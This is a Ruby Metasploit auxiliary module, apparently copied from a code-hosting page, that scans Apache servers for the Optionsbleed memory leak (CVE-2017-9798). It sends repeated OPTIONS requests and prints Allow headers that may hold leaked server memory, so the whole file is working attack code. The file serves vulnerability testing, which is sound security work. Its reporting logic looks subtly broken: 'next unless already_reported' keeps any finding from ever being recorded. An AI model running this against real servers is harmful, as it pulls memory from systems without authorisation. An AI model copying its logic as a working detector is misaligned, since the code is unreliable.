92 lines
3.3 KiB
Ruby
92 lines
3.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Optionsbleed Scanner',
|
|
'Description' => %q{
|
|
This module scans for the Apache optionsbleed vulnerability where the Allow
|
|
response header returned from an OPTIONS request may bleed memory if the
|
|
server has a .htaccess file with an invalid Limit method defined.
|
|
},
|
|
'Author' => [
|
|
'Hanno Böck', # Vulnerability discovery
|
|
'h00die', # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2017-9798' ],
|
|
[ 'EDB', '42745' ],
|
|
[ 'URL', 'https://github.com/hannob/optionsbleed' ],
|
|
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
|
|
],
|
|
'DisclosureDate' => '2017-09-18',
|
|
'License' => MSF_LICENSE,
|
|
'Notes' =>
|
|
{
|
|
'AKA' => ['Optionsbleed']
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
|
|
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
|
|
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
|
|
])
|
|
end
|
|
|
|
def get_allow_header(ip)
|
|
res = send_request_raw({
|
|
'version' => '1.1',
|
|
'method' => 'OPTIONS',
|
|
'uri' => datastore['TARGETURI']
|
|
}, 10)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']
|
|
res.headers['Allow']
|
|
end
|
|
|
|
def run_host(ip)
|
|
# Apache bug 61207 regex
|
|
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
|
|
# Launchpad bug 1717682 regex
|
|
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
|
|
uniques = []
|
|
already_reported = false
|
|
|
|
for counter in 1..datastore['REPEAT']
|
|
allows = get_allow_header(ip)
|
|
next if uniques.include?(allows) # no need to re-process non-new items
|
|
uniques << allows
|
|
if allows =~ bug_61207
|
|
if allows.split(',').length > allows.split(',').uniq.length # check for repeat items
|
|
print_status('Some methods were sent multiple times in the list. ' +
|
|
'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']
|
|
else
|
|
vprint_status("Request #{counter}: [Standard Response] -> #{allows}")
|
|
end
|
|
elsif allows =~ bug_1717682 && datastore['BUGS']
|
|
print_status('The list of methods was space-separated instead of comma-separated. ' +
|
|
'This is a bug, but harmless. It may be Launchpad bug #1717682.')
|
|
else
|
|
print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")
|
|
end
|
|
next unless already_reported
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:name => self.name,
|
|
:refs => self.references
|
|
)
|
|
already_reported = true
|
|
end
|
|
end
|
|
end
|